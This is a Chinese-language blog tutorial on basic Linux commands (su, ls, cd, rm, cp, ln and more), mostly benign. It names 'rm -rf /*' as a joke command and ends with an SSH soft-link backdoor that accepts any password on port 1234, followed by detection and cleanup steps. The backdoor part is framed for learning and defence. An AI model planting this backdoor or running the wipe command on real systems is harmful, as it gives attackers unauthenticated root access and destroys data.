Linux基础命令详解

12 篇文章 2 订阅 ¥9.90 ¥99.00
这篇博客详细介绍了Linux操作系统的基础知识,包括系统分类、在线平台、登录过程,并深入讲解了一系列常用命令,如`which`、`su`、`ls`、`pwd`等,涵盖了文件操作、目录切换、系统信息查看等多个方面,旨在帮助初学者掌握Linux操作。
摘要由CSDN通过智能技术生成

目录

简介

特性

Linux系统分类

Linux在线平台

Linux系统登录

Linux基础命令

which

su

ls

pwd 

cd

du

help

man

uname

cat

touch

mkdir

rm

head

tail

less

more

cp

mv

ln

声明

结语


 

简介

Linux,全称GNU/Linux,是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。Linux 系统一般是指 Linux 内核、Li nux 发行版。

  • Linux 系统内核指的是由 Linus Torvalds 负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。

  • Linux 发行套件系统是我们常说的 Linux 操作系统,也即是由 Linux 内核与各种常用软件的集合产品。

我们常说的 Linux 指的是“发行版完整的包含一些基础软件的操作系统”。

基本思想

Linux的基本思想:

第一,一切都是文件,系统中的所有都归结为一个文件,包括命令硬件软件设备、操作系统进程等等对于操作系统内核而言,都被视为拥有各自特性或类型的文件。

第二,每个文件都有确定的用途。Linux是基于Unix的,很大程度上也是因为这两者的基本思想十分相近。

 

特性

完全免费

Linux是一款免费的操作系统,用户可以通过网络或其他途径免费获得,并可以任意修改其源代码。正是由于这一点,来自全世界的无数程序员参与了Linux的修改、编写工作,程序员可以根据自己的兴趣和灵感对其进行改变,这让Linux不断壮大。

完全兼容POSIX1.0标准

可以在Linux下通过相应的模拟器运行常见的DOS、Windows的程序。为用户从Windows转到Linux奠定了基础。

多用户、多任务

良好的界面

支持多种平台及各种嵌入式平台

对比 Windows

稳定且有效率;

免费(或少许费用);

漏洞少且快速修补;

多任务多用户;

更加安全的用户与文件权限策略;

适合小内核程序的嵌入系统;

相对不耗资源。

 

Linux系统分类

主要分Debian系和RedHat系,还有其它自由的发布版本。

Debian系主要有Debian,Ubuntu等

RedHat系主要有RedHat,Fedora,CentOs等

 

#Debian稳定性、安全性强,提供了免费的基础支持,在国外拥有很高的认可度和使用率。

#RedHat是全世界内使用最广泛的 Linux 系统,它具有极强的性能与稳定性。

时至目前已经发布了很多自由开源的版本,可见:

Linux系统下载网 - 帮技术人员找到合适的系统!

 

Linux在线平台

https://www.tutorialspoint.com/unix_terminal_online.php
#非root用户,限制多

 

https://bellard.org/jslinux/vm.html?url=alpine-x86.cfg&mem=192
#root用户,不出网,不能安装软件,国外

 

Linux系统登录

164e60e9ca5a4c5d81f2a3c9f24a9502.png

最近刚刚下载了这个蜜罐系统,我这里就顺便以这个HoneyDrive做一些基础的Linux命令记录。

在安装好了一个Linux系统之后开机经过各种检索后来到系统登录界面,这里是因为是图形化的界面,选择用户名输入相应的密码即可进入系统。

需要注意的是如果是命令行界面的输入用户名时可见,但输入密码的时候是看不见输入的密码的,不要误以为成了输入的问题。

就比如我这里登录后的用户,输入命令切换到另一个用户,提示输入密码,这里输入了密码,只是安全性的原因密码不可见。

845db709375e4d71b2ecacb15a122da2.png

 

 

Linux基础命令

主要注意,在linux中输入的命令严格区分大小写。

查看用户可以执行的命令:

ls /usr/bin

ls /usr/local/bin

8c2e2d1673bc4074a996dfd16daad788.png

在交互式shell下可以按两次tab按键列出所有的可执行命令

e037d3961e27493c93ffae2c6b6450af.png

root用户为最高权限用户,可执行所有命令。

 

which

which命令用于查找命令文件程序所对应的位置

-v  #显示版本信息

75e672c832644a729cd480fe382444e3.png

 

#系统基本

su

就刚才的命令:

su - root

su命令用于切换到其他用户,非 root 用户执行命令需要键入该使用者的密码。

su root

与上面差 ‘-’ 不同的是不会切换当前的目录和相关变量

相关参数:

  • -m -p 或 --preserve-environment 执行 su 时不改变环境变数
  • -c command #变更为帐号为 USER 的使用者并执行指令(command)后再变回原来使用者
  • -s shell 或 --shell=shell #指定shell,默认为 /etc/passwd 内的该使用者的shell

 

ls

ls用于列出文件和目录

常用参数:

  • -a 显示所有文件和目录包括隐藏的

  • -l 显示详细列表

  • -h 适合人类阅读的

  • -t 按文件最近一次修改时间排序

ba5092048d884b1ea8a5089484b73d86.png

 

pwd 

pwd命令用户输入当前所在路径

 

cd

cd命令用于切换目录

常用参数:

cd /                      #跳转到根目录
cd ~                     #跳转到家目录
cd ..                     #跳转到上级目录
cd ./home            #跳转到当前目录的home目录下
cd /home/ling      #跳转到根目录下的home目录下的ling目录
cd                        #不添加任何参数,也是回到家目录

759c2e65836c4f6b99b1cc3c7039c751.png

 

du

du命令用于列出目录和文件的大小信息

常用参数:

  • -h   #适合阅读的;

  • -a   #同时列举出目录下文件的大小信息

  • -s   #只显示总计大小,不显示具体信息

27c32d4cd0834e199a292cd27f499ebf.png

 

help

帮助信息,差不多每个命令都有这个参数

-h        #短参数

--help  #长参数

ec95333b09a04eebae676196028f76e0.png

用于查看命令的相关信息,易读

 

man

查看命令手册,比help帮助信息更详细

man du

9218e52cc7d049a99d16197173bec40e.png

按q键退出阅读

 

#系统信息

uname

uname命令用于查看系统主机名、内核及硬件架构等信息。

常用参数:

-a显示系统所有相关信息
-m显示计算机硬件架构
-n显示主机名称
-r显示内核发行版本号
-s显示内核名称
-v显示内核版本
-p显示主机处理器类型
-o显示操作系统名称
-i显示硬件平台

fc69b376111b491892bc877328ef944d.png

如果不加任何参数,默认仅显示系统内核名称,相当于-s参数。

cat /etc/*-release

cat /proc/version

5f3772f1704647a68d6454dc2c232d43.png

直接从系统配置文件查看相关信息。

 

#文件操作

cat

cat命令用于查看文件内容,一次性显示文件所有内容,适合查看比较小的文件。

-n  #显示行号

9e9cb37802fd408c8347d0f91bd6f80a.png

 

touch

touch命令用于创建文件

参数:

-a改变档案的读取时间记录
-m改变档案的修改时间记录
-r使用参考档的时间记录,与 --file 的效果一样
-d设定时间与日期,可以使用各种不同的格式
-t设定档案的时间记录,格式与 date 命令相同

参数一般不怎么会用

e7f344c13ec045b79459199146c3fa5d.png

需要区别,linux不同于windows以文件后缀名区分类别,linux没有文件后缀名的概念,只对文件的权限作限制,后期再做介绍。

 

mkdir

mkdir命令用于创建目录

-p     #递归创建目录

-m  #建立目录的同时设置目录的权限

-v     #显示创建目录的过程

8068d82a92604fc2845f1f8552768819.png

递归创建目录若目录上级目录不存在的话则会报错。

 

rm

rm命令用于删除文件或目录

-i   #向用户确认是否删除

-f   #文件强制删除

-r   #递归删除文件夹

著名的删除操作 rm -rf .

rm -rf /*  #删库跑路

67825ba6a4ad4ca3a4575a12b58bc4eb.png

需要注意谨慎操作,删除了文件和目录,在 Linux 下没有回收站,一旦删除比较难恢复,可以使用其他命令代替或者添加一个第三方的回收站命令:

给Linux添加一个回收站_Ling-cheng的博客-CSDN博客_linux 设置回收站

 

head

head命令用于显示文件的开头几行(默认是10行)

-n  #指定行数

1f73ca9e15ae4f248781c30fbd698bde.png

 

tail

tail命令用于显示文件的末尾几行(默认是10行),与head相反

-n  #指定行数

36aad88ce18b4732b6ea6a0e23d16fc7.png

 

less

less命令用于分页显示文件内容,更适合查看大的文件

常用操作:

  • 空格键:前进一页(一个屏幕);

  • b 键:后退一页;

  • 回车键:前进一行;

  • y 键:后退一行;

  • 上下键:回退或前进一行;

  • d 键:前进半页;

  • u 键:后退半页;

  • q 键:停止读取文件,中止 less 命令;

  • h 键:显示帮助文档;

  • / 键:进入搜索模式后,按 n 键跳到一个符合项目,按 N 键跳到上一个符合项目,同时也可以输入正则表达式匹配。

 

more

more命令也是用于分页显示文本文件内容

把文本内容一页一页的显示在终端界面上,

每按一次回车即向下一行,

每按一次空格即向下一页,直至看完为止即退出。

 

cp

cp命令用于拷贝文件或目录

-f若目标文件已存在,则会直接覆盖原文件
-i若目标文件已存在,则会询问是否覆盖
-p保留源文件或目录的所有属性
-r递归复制文件和目录
-d当复制符号连接时,把目标文件或目录也建立为符号连接,并指向与源文件或目录连接的原始文件或目录
-l对源文件建立硬连接,而非复制文件
-s对源文件建立符号连接,而非复制文件
-b覆盖已存在的文件目标前将目标文件备份

cp 1.txt ling   #把 1.txt 文件拷贝到 ling 目录下,并且文件名依然为 1.txt
cp *.txt ling   #把当前目录下所有 '.txt' 结尾的文件拷贝到 ling 目录下复制代码

 

mv

mv命令用于移动(重命名)文件或目录,与cp命令用法相似

-i若存在同名文件,则向用户询问是否覆盖
-f覆盖已有文件时,不进行任何提示
-b当文件存在时,覆盖前为其创建一个备份
-u当源文件比目标文件新,或者目标文件不存在时,才执行移动此操作

mv 1.txt ling     #将1.txt 文件移动到 ling 目录下
mv *.txt ling     #把当前目录下所有 txt 文件移动到ling目录下
mv 1.txt 2.txt   #将1.txt文件重命名为 2.txt 复制代码

 

 

ln

ln命令用于创建链接,软链接类似windows下的快捷方式

-b为每个已存在的目标文件创建备份文件
-d此选项允许“root”用户建立目录的硬链接
-f强制创建链接,即使目标文件已经存在
-n把指向目录的符号链接视为一个普通文件
-i交互模式,若目标文件已经存在,则提示用户确认进行覆盖
-s对源文件建立符号链接,而非硬链接
-v详细信息模式,输出指令的详细执行过程

 

Linux 下有两种链接类型:硬链接和软链接。

硬链接

使链接的两个文件共享同样文件内容,假如文件1和文件2之间有了硬链接,那么修改任何一个文件,修改的都是同一块内容。

 

缺点是,只能创建指向文件的硬链接,不能创建指向目录的(其实也可以,但比较复杂)。

 

软链接都可以,软链接使用更加广泛。 

ln 1.txt 2.txt    #创建2.txt为1.txt的硬链接

b71f479a13d64e30bbcabe956c506ab5.png

3e9f5b00c743421c890b43da5d662591.png

如果用 rm 1.txt 来删除1.txt ,对2.txt没有什么影响,对于硬链接来说,删除任意一方的文件,共同指向的文件内容并不会从硬盘上删除。只有同时删除了 1.txt2.txt 后,它们共同指向的文件内容才会消失。

 

软链接

软链接就类似 windows 下快捷方式

ln -s file1 file2

f38be329919249c1a40b346a46bf3098.png

file2 只是 file1 的一个快捷方式,它指向的是 file1 ,所以显示的是 file1 的内容,如果删除了 file2 的话, file1是不会受影响的,但如果删除 file1 的话, file2 就会变成死链接,因为指向的文件不见了。

 

 

未知攻,焉知防

最后附上一个ssh添加软链接后门测试,前提是需要开启ssh服务并且以root权限开启

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=1234 

19a3eccad682495db0b1d941d7400fa2.png

运行后创建了一个软链接并且监听本机1234端口

01ed2a23dae5468b8e66ff1b4d86e5d3.png

ssh 192.168.217.128 -p 1234 -l ling

输入任意密码即可连接到ssh服务

140e79a79583403aaac6278546643d61.png

定位

netstat -pantu

ps -aux | grep 134442

dfed2a9902c84aef956bc489dfe6fda7.png

a32f1d3d02f94cf88fb643983f94dc40.png

清理

kill -9 134442

rm /usr/local/su

 

ls -al /proc/pid号  #可查看对应的pid运行的程序及目录

 

声明

提供的技术仅供学习参考测试,利用本文提供的信息造成的直接或间接损失由使用者自行承担。

 


结语

尽最大的努力做最坏的打算,没有人规定,一朵花,一定要长成向日葵或者玫瑰。

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cheng-Ling

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值